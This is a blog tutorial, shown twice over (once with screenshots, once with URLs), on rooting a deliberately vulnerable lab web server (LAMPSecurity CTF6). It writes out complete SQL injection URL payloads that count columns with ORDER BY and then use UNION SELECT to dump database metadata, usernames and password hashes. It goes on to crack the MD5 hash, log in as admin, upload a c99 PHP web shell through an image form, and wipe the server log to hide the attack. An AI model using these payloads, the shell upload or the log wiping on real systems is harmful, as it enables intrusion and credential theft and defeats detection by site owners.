Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFW7Gaqs_hmiFdEd9_eNnNGdRzYCgSrbL6I9YSq3ecP3k3mcj_4CsMFUi3bOThaxM5UiXKsowgU6r7SmLNQEY9SuHr01cBarVVivab5N7WZHu0DSuWBSD-OfdiCU8UChgdv4N12GMsxLDUyqCWVhLkXhnWKNv2WDhnlmAS-0kM5PXa=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vsaAdTylSB73v7fK6-CoRJLkiacvaiUPNE9Hwy4dKoaVS29u8tu57IvTFoysL61jjvPRfUzG_BMWS9H_k9Xk7civYs9tlMa1OjwMzYHYewkRMij-pbI5zzf9qUO_jcC4Wp5FM3yppYPSZ6v8HVA9glbLIZbvvxBvOjn5W0XPIIAHAZNg=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uG8W8NCGx0wuuD-_19hW4pP4W6p3XTJjkFz1a5YhnoS_h5kvwpgPvz1UC8EbZu-r-QHAP7pdplhmIQClCsFsF4tJIZ41TYusUS-odCkStrhNx6-wP3rghg17wxLeiNakwxvS9j6BTa7wmZjKIcUUV7lMOVPRKbGEs0J7pNXfseSgWhyA=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_upRvAlC6QCqvDROL2oQKz09yhe9__8P2BTnYS-X3rPMmIybwT9jVYl1Bj2wy8td1ZLfKMKKgPQJNtw6B70W2eLDBGXa3lXS-s9zOaZT7eY2xEoahf7xv1_ERk_ENBts2z9xdl1ydZJT0nhTZkKXYP_zQAUaU5rbGgUCamTNOm53a7FCA=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uzQooaeBfyrWgF0LmYryMbQ85euxeriToC0qK_vVrrOmSjVd9tDkAUVOwUpd1fdjlyTcT8mx6moboZpQjOdAd-WN2kd9ZwcsnVrkurvTVUdWwJnptstZd0LH1nbUi7On2-2EQFvk9UVL2vFN5tK189oR-DbCtFRMbXM0UMu-66qKGQ8g=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tzH7xF8sLe9UyHB5nKSK0SqsgQKMBuKsr5qBs9Oo_6duji0Nmf0Tncw3CjSPAArm4p3cQaFUI0STOVL9t_6kIlljygm9YYcp08k4O6Umeleypkz6X5jt-UatLJXHWg8BLSBGIEFgauDbnXudQsR9rPT_CftZGmSrCOQMOMPBo6aqEb=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ty8VcU84l9bNvJPNeGnxPBK4mn1_A5foV7cO2Jd66a_SQwpxjnAx7IJd4eF4v8ouZx7zQ3M6vB9lJg8vSZoU_Wwoo8XrHcsOVowgfOYJy6dv5l7uwpT3q79BmhHKx6FQUMy3q9-DHmSu0IzeaE9P4t1fPd4cDezhgmk5n1DPVg6zkRAUs=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uNzVX3Bljg2IUZfYp5DH90bERPXPn7PDCtZLpTIqsI6Hm1NkARTOvUHG7L-v2FQd97msRvn0hp-Hz6ECqJMIH-mZr2UQGz0bg1jWJTBhZxDiwl9AJz-f7onDWb95tW0UhJI060m-x_JR10gvTUU7p8J7N2lSrMh0ARg0Ry3oknlB7INuQ=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t1LwxkoQ9OjpPDhfS69DnfxKNuas47b4YhP_wt1-k7at8PKlERvCRZzNPH_2J_nq3tft1H9CGD-Yej4wyfNBDfJb5LdkUNmtq2GSHMwY0PhfwPxVCZNbxLx19s03aMeVgkDfbfOvbvaCeW4m_WeVLe9tDR6otP-x8hBUEiz2a058l8bK0=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tjvT3olpfBEd1AvDd9WWpR2d1gwwxl5Y2XO9I8n4M-WWk3ZYNtgNcYSyhALSXdK7XSAWPEQv7JaqzbPNTIFX7-MHxxs0uXnSLVkVGuknGvMivLvz1kci7kbUhDDqO_uPw0QakEtzLUxdf18nbX9Ovv2ZnDc1r_bGBR8GiInZs8QDsGQac=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjvwvurBX7xxVCggRQMo3r9FQkEop2f8yrwbuYPZ_3MSEN7XAqwPCEsPvmRGkeW5eZcEZE8W5G6wC6YL1rNM-twsVbdlChfBxMN2wxvnHe-PnSBZGUOL1VymYIjg9ZjS6vY6mOn4oeS0h3bXSfMJyNApd0fCD9l4_0_Jmoqymbb75kzg=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vxa76MzHgVsu288xMspUcyU741-dWhWC3JHubQQokf0PUQwC13n4oV1eNvxF5xFHSlRmBBadcp8SrFhtTVo1jdlR5Y7vhj3CLuoe32TEHDy9c0QvGl0RaNX7U6G_9JJrRvnIvMzSZ1YFTDM1O-BAJa7JJKq6wRSRZkfEgmKLLBJ9y9ToA=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t7JHPpfLyBK8qmsUwV8tGCn2T5g49Cc6jkHJHjV2JayqhpuINmrh_dKEX2l0xEvSv75SJZHArRSbLUXcXu2Z542F1RFxDwaShUHsCX6WJOZP21s6wxjaj0fW809DfTF2kame3WUom1yP063IBlYT0c-ea1r8QdvbKIDaX04P8f2o23Zs0=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v5TGnP8GJUyX6mYKEwEYEHAGaEei4po3KxFkEwAcux3zXgNvRKU7m3UAvEdsnb81fj4XFTkRY5AyKCdxO1hEsvdy1ZSfz-c_Maw33IidTnTiZh8SfANq8HHtV3k9YrShQqZ3aIanrzrjmC0sS4gI36qD-rw-nv88e6m2rGpuO7ov5ZHg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s6xiZoT8KNbdorka9C9FI18Tc_MDNgZnBxkg29hszLJGmpJIcyBxMkaZ7Fvupt28aDFr8H_RLH975R7-HhWX7AqFlIJgouNEFddlbu53foGIxNgKCIPb3bgrvvmJ0tcCC0WquVpfz4cAs1oPyNmw1dhj57f0H3Hlu-K62gwfuR1YlkiA=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sqbDszsdM7Y0EfE11-Tp-qdHpWB6enCHfFq7iJIk3BxKmPjSYJvb-gF31qDJYL6RyrW5jWleWUaAWvmSdUgDXerkDVyIUz3d7WwoCdE7WulwJdvoxqCIXd6Noh-XwYFamrKy-yd-CQFtRjhf9eSQ4W_3sbXmb4njoTn8XFNeM8G2sMauk=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uw0Dp35combaMb6mmp5qvgf-RvglkP0t4kqpuc0-6wDAAh7P_YQ8XtfGqmu_ct1Xm1j-nUhnJXhctRJw4KAf9dpX57E4GBYy4HEbhreqoTB_AD5w2xKFtbMn-7_wNlkG4Hx4grERlT5JsJRVm7Hfsl9R7FBHyS7drlEd9V4stQyoVKT4M=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tBrpf7EBikmQmHXYZI6FXE3c6XdwDaZj8hy8VLJqjd191QZGQi6nG0jfZQWphp5B_esoOsa_jxSTKqtio65xqZiFUmfD8fyt0fsveeiyxMAvXW4sxUhPxQaFtzIcNDwlv-rjnHKe89QtA9ErRlLKVjf3woyCQphUHMw9Deh44ktNEdGkE=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ucdlYOy3kuHp7CJjq5aftS9q8fY4nPp8H7yZB_KQDcYAuT4dPArC31I_6RP35P3bpiMcG0l-1dClKTMOgYqrjzfj6Z_CNGs-KuxU7nAY3hmh-UGqXQBX2ES3YL8joJAzsxkb8uxtWHwzjBjGXIZrPWNtSFhn8GG62IBIaglEl2d_0diVQ=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEu6drKzlZYySO4eeKzaF3QjFbyT-NFWoCjbNcorH0taTEFE9EqM6TTY0JFKNjYfpuh5q4xTukqhC1jNmg7fUa9CurfpnsIaZp8Al5N__elv0r5_-90F_xd9KiCo2fB26ppRceZ0g34CY1DHMMkQHYLT5zG5GQJsfkr4j7Db7_3M96pb8=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vBj1abp3e4D8K7MFwqTqPyZv3UacJr-IsizT8rc72wHOH9U9EeJURzp1C6_40UntwOE4_ZduWIof-PN-CgG9_seMA2k5KPBH92C5rcHXP8GHkrUceP_9jBo0u7P_lbYFop11CEPstA1xhHn2sbjsvvh1ZDxaJU2E1GSLIOC1aCFPzjxqY=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vxJZVx3mwuz7pVVraA7th6miFgxERW1ISe9dMlY7GbaLuadsZ1KhYGS15wtDYTUW2ntBEcNSNffVtFzGWgGmutt0MfN0VS-4gGPlyJVVLtd7Oy0y5XLLuoiPv3i6I5WOWV3ir3AQXp1h2UlaIXUG8NT8gvCK82KDnSI2IM1PeDfPAb8xY=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tAv_SMBc7UlVxCAejWa00vuPn4x8KqwMgqplywWEg6ox4kfFuK-bA5AlPnyxPs580b7FLVh9yEohZ2BPB4al2c8iqDoKyn5h-SrZWZlPML_HDvNzzR4n3tF55TFHEgTD2cLGUzmIbgUcdDQ6YtOiVGNv0ySZGZsbkZa2NZHY5V2UDYGAM=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v3D5-HsNQmR5WeCbENZS9Mka-5eJd683h2iuKqNy5EvNysFSVslLNv5EThRxGJlN3V_2pTgB2E2Yx56YaR8mXL126bJboAxUoOtvAe7I7Rckszid3FLU8n-uiaIezXVcU0orvyoojyKQAzGt9nhlfw_K8P_rn7RsQ0G7mkAQzc5lQVEAo=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uKogaB6QN6gHGlea36M7kuL4p-4_DUDa7hfK2Gl9P08Q0klGB49QMbMFRUszVyqGl9XCzySmFqHa4S9nhN3lEz5RxigfwH8Z7iUI3TxvZFPdRUA9-CaT4d5ZEJiWWqorOYc7cOAno2YBLPa48QLkCj-h9zCpQqfOwf_HhSDsH5IWqSlw=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tK4aO3x5RprV26ED_uXtRevLknCtbU_J3cEyC7L3N4UA-mLthVyGnqvfFn8ChBpxcQVHBCSI0KchOBbIgyfB8jcnNc09SjxeGylIqCAj0TPjJdX_DCLH48jP5BucUHOTEQo2tcCu4Tgyxtpiy4yBr0NIXz2TAEVu6z_RmJyAxZdtpAJw=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tyZirtdXLjodIE5DqKChBd_Ugc0r5mX0lDdxv6vaAp-E9QxqrjpQp8Thp3y0bJ-3EzbXNADOnQ96ydETiikxIQo8bOwIGczokJdJ2N_zQ_LO4FpSUlNPj59Ca-RC3nyE1uWIFhHjbD-g4SPiKmAg8Hg_C11BOaYVaLp6pcjhJd7oIA9TQ=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vw3nx00lw4OJpxtShCQ-Nr5Fb6Itqja7-3PCn8h6hoJqQwBy-R5Ch1TmaQU_GMbsm252i7BI3VpS1QcNuK7LZm48zG0M4Ux1Fd1O_WOt1epalH5LVip6ZJcaKkE9xWIZ84dpajqR-UWACY2fMPXyNK7VZGz3m_yB9nkOSFlkID7rGF9K8=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s2EHs_CuiP9TId50_ppleikrQjKPtb42qcXfveCYvral7VSDrtOHBDHXK9S8FC3GPsam2YtgeAsbEo_FSAvMTnxII1wkRNCootx_ttjVKsXw8xa6hHw7SLNmtI05XGszs2bkY8otWLXv7_d15gVnI0neAncFicjKol6HO9EQTotmIZ3w=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tVM37d-LasVGQrzag0sIh1WWtVvNrKRSk9TSbr8P3OOt8QAD3b3tCfRxEYL1VlaATpizDNoPdYIou-l7pktzNuO8ZPzYjNYBx7Kc-XmlLOW3zV6uKKl44y9GyB23HuKUODTs8SKp8EszSQk5oUfat0_5KbJ_VrZUsOna2R3_BOf3PpL4M=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uk4JOCntymQ1Bs8cw_z7WBL4NT5owBdRbVnNASYO7d5k8QxMOXadwh5hOoOCzoi6gLEyx8XgRopawkCkhfNQSBNtbJD5O7EMgN3q2MDDs4r6xlgF7xQD9_bMuJFVON8o_B_Si3bEjsP6ngIBDdsml0QD6BcIH8n5slNgAZQoTeVjvSp0Q=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sdXgE5OPru8aAtctixlDZ_VGJJFRxOTaH-xMWbymbtOFvUDqAz6OOxvx4fppbAbq5wE4Q5V_67cOO6QEK10eOOLAwxOG98xhyJa3YHIj1v0jseW3Ck5TqQ8vUKMXN-M35DNyhNAQlHy_b-_g0BCTF9l4sCJUxMqn-zkjdbxhxamOCEzd4=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uv20qcO4QmU7ONkaHLgvudviDSvRHZo8b_fPwbsznb2vnuwxe9tc66aqXmm9l9lMzCCZbxpYqc7Mp4VIwM20L1mcYj1GwGG792eo0KFkiFXZMCi4y-X7srPoFWHof-KQPpi1V6JDbJfuCs6jMiXFEn4JC_6gtZp4CXQw0w2YJfTB76DzE=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_soTPXOA7mpMaLDnwB44i1o41WufBlFBzWdAdINE0D2i3jKQ2MnajwQ6fB9Fkh9FxdUufLF5Ag97nMNaGQM9B5gPK0Kt_Ks4VoHF1dr0iwPZ0GruRcK_IZG0buDF486MKWp5JUm-EyczWqNdS_8Svx-DQTje6zdJ7tYmpqXL7lEyQKW8EQ=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t8Uy0FrmofpHjQrMSIBTE4OddEaNsOdOH6agB98g0xdzgeJmmy7USFBogjwYqIbFh6J5oHH4ofhy_jfdsXQNUWltHdx-Ri-bkk8HT7WY36Zgg1zeM_lsz6CBpaDm1uEi--RAdVlAOsXV_juNe4tRJ_oRuWuM1VuylcWvxdvMPsUgTvS-A=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s4_WzRr77wB8e5kAcCCVRDe9p_4IBHtQBoPCM9Y4VCPv9wqL2MaiF1KY09KoJO9-qunYDo1knpMnE6ZZPZIAESzUGi2Jlq7plAgvbJ1kkFa5Q0VJfKVCcrBkp3scoxkmeUeGLGnPckW7Qr1wFEVhrXsKsplnMlp_OHyjwjgcdp1QWWB68=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tvbzn_fJv2wUw7YNyHbEChHs38p6sm-1w6pHqv3YOvr2jS2RgAydR-WBTMYpwCXOoqseEyiw_IPilX5oLr7kzTQyrxk3AEK3aqalNjkA-Lcc3ku_QPSfPAcqmN_UzACA5rVljONbSVpAOvr-LxhN7N5IcmoIf841U-eWwtlQqZTekwNA=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sHs9Na03vUlebixw1aUb0r6w_oNIOC89f8uja3FDrKRIspOSth2B5kJAjaGNf2lae9WwDJHsKgK7DZxdKo_YX5aNNaNbCzY_A3GQQbrFnoS3o4TthWowRKgVtFnagdawwSz-pSW5KLZ39pP3h8oFocsmdwVCj43rRxfWj5l_Im1rhZ0Pg=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tATsb7elToVECQ5flOwukUWU8msZZZSgnUh2rN5W1KRR9fVSs_WU2zChzGeXT9yp5Mev93V59TU4sPoGcQ2LJniEz7zh6ZIm1J5Z8SFbmB7MAeMIXrDq8D7s_wwFp7BnNcXkuC0vFmFUmSdzpmaBMMocM5PMXC2zw2FYsfdqf28MXNsw=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ug7V1b1naYCnJd8LBLkYHNTw4a8mv5-LHSx6CZ-OFiV1t6u5R6JJRzmIwL4aA4OJRNrfYepd2uwfAv9p0xru6U4AmEWuUX_0zeyC-2-5KT0DOQuClmcM-YgxShjU0ImG-Drhjp71GgELEeyhw7hBhERLNU7Poo6E0ep-Nt-MLn6KxSRCE=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sey1nWakI33M0pSASm8mK37fDOaTfS9DzNx6m-sgvowXK8T4WAIGy7SwdSkCOuyGZwsQgrDS659piuI9Xl1b3bX2rWbbimfuMv0FH-l_kLqAKpdZSF2b63siHTmJgMUAlsg_ql1u80qkZwrtDSan2cnKjsIPa3kYjOQqW2VVPhd85JYTU=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vUN05TiDksylh36wePI21k03FDa-9C-X-_hDlfTuf7otUjY8vootY3EGg7C9kDBqd_5T6qPq8afMvlUdyJtQt6SNCh-Gk49-6Z0kfKIRHyeq4ej-xTXaaWIC25B9zP5H_rhMWAC0DzrwITiJv6eRoceabIfIaiL_z1ja7X4DCKo_p8Vnc=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sad-j29bKj8VNdhQ2rVMgT2cm62IoaiM6FCvsQ05_N4tVNKks5RucSKtlfQFt4gwR4j-_Kuy9HBYJIKozACOa3ACDDBi5mHtnHpqBjlXpElrmCZJ6TYTXY7BrLOMNrrv95eG1bPKyiXpSgFCmv_rR1nB1JZl9rr16b6S9jD2DQhbTXXcQ=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uxOmS3SeU6f_PAc4zW8hdvvJLPSCApVXkLW57YSi-3ZbraPGF1maakco52z4QQFBuokOG69KvJ4_q6wkN0i1mfe9ud6Hw9oEVIkdGJOYz2VpEwIyO2txyPDCVr8MByfXkrdQ064iC3wSsz3LSW3Hf51zBPpc6WryvgFDtD5Yb_PpqwAQ=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u841V7g7m3tpFL0XN7FRvkTFBo8hd3l1j3SbDRuxC7BmMTuZ1gQWPvo-BsV4SY_j1PysXJBjkvzLAlRdk1kvcDsvfR5aiO3uRi45nvdNU4Iw9BjU_pIrp6ElBDIpF8OyK_rwRUn3-j8VE7-ncelYTYF1G8FqiHc7zbRNBPo5etdjDPQ7w=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete